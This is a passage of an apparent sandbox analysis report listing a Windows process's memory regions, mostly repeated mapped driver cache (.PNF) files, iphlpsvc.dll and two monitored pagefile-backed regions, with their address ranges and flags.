"\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 7369 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 7399 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 7413 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 7443 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndisvirtualbus.pnf" filename = "\\Windows\\INF\\ndisvirtualbus.PNF" (normalized: "c:\\windows\\inf\\ndisvirtualbus.pnf") Region: id = 7500 start_va = 0x20abc7e0000 end_va = 0x20abc7f7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\INF\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 7518 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7535 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7565 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssmbios.pnf" filename = "\\Windows\\INF\\mssmbios.PNF" (normalized: "c:\\windows\\inf\\mssmbios.pnf") Region: id = 7583 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "swenum.pnf" filename = "\\Windows\\INF\\swenum.PNF" (normalized: "c:\\windows\\inf\\swenum.pnf") Region: id = 7594 start_va = 0x20abc380000 end_va = 0x20abc396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 7612 start_va = 0x20abc380000 end_va = 0x20abc396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 7633 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpbus.pnf" filename = "\\Windows\\INF\\rdpbus.PNF" (normalized: "c:\\windows\\inf\\rdpbus.pnf") Region: id = 7634 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7635 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7840 start_va = 0x20abc7e0000 end_va = 0x20abc802fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 7843 start_va = 0x20abc7e0000 end_va = 0x20abc802fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 7851 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7853 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7854 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 7855 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 7856 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7857 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 7858 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7859 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7860 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volmgr.pnf" filename = "\\Windows\\INF\\volmgr.PNF" (normalized: "c:\\windows\\inf\\volmgr.pnf") Region: id = 7869 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volmgr.pnf" filename = "\\Windows\\INF\\volmgr.PNF" (normalized: "c:\\windows\\inf\\volmgr.pnf") Region: id = 7883 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7899 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 7933 start_va = 0x20abc380000 end_va = 0x20abc39bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 7952 start_va = 0x20abc380000 end_va = 0x20abc39bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 7978 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicdisplay.pnf" filename = "\\Windows\\INF\\basicdisplay.PNF" (normalized: "c:\\windows\\inf\\basicdisplay.pnf") Region: id = 7992 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicdisplay.pnf" filename = "\\Windows\\INF\\basicdisplay.PNF" (normalized: "c:\\windows\\inf\\basicdisplay.pnf") Region: id = 8032 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 8046 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 8059 start_va = 0x20abc7e0000 end_va = 0x20abc8c9fff monitored = 0 entry_point = 0x20abc805d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 8060 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 8077 start_va = 0x20abc7e0000 end_va = 0x20abc802fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 8094 start_va = 0x20abc7e0000 end_va = 0x20abc802fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\INF\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 8116 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8135 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8182 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 8192 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 8211 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 8216 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8219 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8225 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 8229 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8233 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8242 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "compositebus.pnf" filename = "\\Windows\\INF\\compositebus.PNF" (normalized: "c:\\windows\\inf\\compositebus.pnf") Region: id = 8246 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "compositebus.pnf" filename = "\\Windows\\INF\\compositebus.PNF" (normalized: "c:\\windows\\inf\\compositebus.pnf") Region: id = 8248 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vdrvroot.pnf" filename = "\\Windows\\INF\\vdrvroot.PNF" (normalized: "c:\\windows\\inf\\vdrvroot.pnf") Region: id = 8249 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vdrvroot.pnf" filename = "\\Windows\\INF\\vdrvroot.PNF" (normalized: "c:\\windows\\inf\\vdrvroot.pnf") Region: id = 8256 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8262 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8269 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 8281 start_va = 0x20abc380000 end_va = 0x20abc383fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\INF\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 8287 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.pnf" filename = "\\Windows\\INF\\spaceport.PNF" (normalized: "c:\\windows\\inf\\spaceport.pnf") Region: id = 8292 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.pnf" filename = "\\Windows\\INF\\spaceport.PNF" (normalized: "c:\\windows\\inf\\spaceport.pnf") Region: id = 8296 start_va = 0x20abc7e0000 end_va = 0x20abc8f8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monitor.pnf" filename = "\\Windows\\INF\\monitor.PNF" (normalized: "c:\\windows\\inf\\monitor.pnf") Region: id = 8299 start_va = 0x20abc7e0000 end_va = 0x20abc8f8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monitor.pnf" filename = "\\Windows\\INF\\monitor.PNF" (normalized: "c:\\windows\\inf\\monitor.pnf") Region: id = 8300 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8303 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8306 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kdnic.pnf" filename = "\\Windows\\INF\\kdnic.PNF" (normalized: "c:\\windows\\inf\\kdnic.pnf") Region: id = 8316 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kdnic.pnf" filename = "\\Windows\\INF\\kdnic.PNF" (normalized: "c:\\windows\\inf\\kdnic.pnf") Region: id = 8323 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volsnap.pnf" filename = "\\Windows\\INF\\volsnap.PNF" (normalized: "c:\\windows\\inf\\volsnap.pnf") Region: id = 8328 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volsnap.pnf" filename = "\\Windows\\INF\\volsnap.PNF" (normalized: "c:\\windows\\inf\\volsnap.pnf") Region: id = 8333 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hidinterrupt.pnf" filename = "\\Windows\\INF\\hidinterrupt.PNF" (normalized: "c:\\windows\\inf\\hidinterrupt.pnf") Region: id = 8337 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hidinterrupt.pnf" filename = "\\Windows\\INF\\hidinterrupt.PNF" (normalized: "c:\\windows\\inf\\hidinterrupt.pnf") Region: id = 8341 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 8342 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 8351 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 8354 start_va = 0x20abc380000 end_va = 0x20abc396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 8356 start_va = 0x20abc380000 end_va = 0x20abc396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\INF\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 8359 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umbus.pnf" filename = "\\Windows\\INF\\umbus.PNF" (normalized: "c:\\windows\\inf\\umbus.pnf") Region: id = 8360 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umbus.pnf" filename = "\\Windows\\INF\\umbus.PNF" (normalized: "c:\\windows\\inf\\umbus.pnf") Region: id = 8364 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 8366 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 8369 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hal.pnf" filename = "\\Windows\\INF\\hal.PNF" (normalized: "c:\\windows\\inf\\hal.pnf") Region: id = 8370 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hal.pnf" filename = "\\Windows\\INF\\hal.PNF" (normalized: "c:\\windows\\inf\\hal.pnf") Region: id = 8373 start_va = 0x20abc380000 end_va = 0x20abc384fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pci.pnf" filename = "\\Windows\\INF\\pci.PNF" (normalized: "c:\\windows\\inf\\pci.pnf") Region: id = 8375 start_va = 0x20abc380000 end_va = 0x20abc384fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pci.pnf" filename = "\\Windows\\INF\\pci.PNF" (normalized: "c:\\windows\\inf\\pci.pnf") Region: id = 8378 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8381 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8385 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudbus.pnf" filename = "\\Windows\\INF\\hdaudbus.PNF" (normalized: "c:\\windows\\inf\\hdaudbus.pnf") Region: id = 8388 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "hdaudbus.pnf" filename = "\\Windows\\INF\\hdaudbus.PNF" (normalized: "c:\\windows\\inf\\hdaudbus.pnf") Region: id = 8393 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "printqueue.pnf" filename = "\\Windows\\INF\\printqueue.PNF" (normalized: "c:\\windows\\inf\\printqueue.pnf") Region: id = 8400 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 8404 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 8409 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 8412 start_va = 0x20abc380000 end_va = 0x20abc38ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\INF\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 8414 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "acpi.pnf" filename = "\\Windows\\INF\\acpi.PNF" (normalized: "c:\\windows\\inf\\acpi.pnf") Region: id = 8415 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "acpi.pnf" filename = "\\Windows\\INF\\acpi.PNF" (normalized: "c:\\windows\\inf\\acpi.pnf") Region: id = 8431 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicrender.pnf" filename = "\\Windows\\INF\\basicrender.PNF" (normalized: "c:\\windows\\inf\\basicrender.pnf") Region: id = 8433 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "basicrender.pnf" filename = "\\Windows\\INF\\basicrender.PNF" (normalized: "c:\\windows\\inf\\basicrender.pnf") Region: id = 8434 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8438 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8441 start_va = 0x20abc380000 end_va = 0x20abc39bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 8443 start_va = 0x20abc380000 end_va = 0x20abc39bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\INF\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 8445 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8449 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8461 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\INF\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 8474 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\INF\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 8481 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8482 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8490 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8499 start_va = 0x20abc7e0000 end_va = 0x20abc808fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\INF\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 8500 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8502 start_va = 0x20abc7e0000 end_va = 0x20abc800fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\INF\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 8506 start_va = 0x20abc380000 end_va = 0x20abc382fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc380000" filename = "" Region: id = 8509 start_va = 0x20abc390000 end_va = 0x20abc397fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020abc390000" filename = "" Region: id = 8510 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\INF\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 8511 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\INF\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 8521 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "display.pnf" filename = "\\Windows\\INF\\display.PNF" (normalized: "c:\\windows\\inf\\display.pnf") Region: id = 8528 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "display.pnf" filename = "\\Windows\\INF\\display.PNF" (normalized: "c:\\windows\\inf\\display.pnf") Region: id = 8533 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\INF\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 8540 start_va = 0x20abc3b0000 end_va = 0x20abc3b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\INF\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 8544 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 8546 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_swdevice.pnf" filename = "\\Windows\\INF\\c_swdevice.PNF" (normalized: "c:\\windows\\inf\\c_swdevice.pnf") Region: id = 8553 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 8554 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "audioendpoint.pnf" filename = "\\Windows\\INF\\audioendpoint.PNF" (normalized: "c:\\windows\\inf\\audioendpoint.pnf") Region: id = 8559 start_va = 0x20abc3b0000 end_va = 0x20abc3b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndisvirtualbus.pnf" filename = 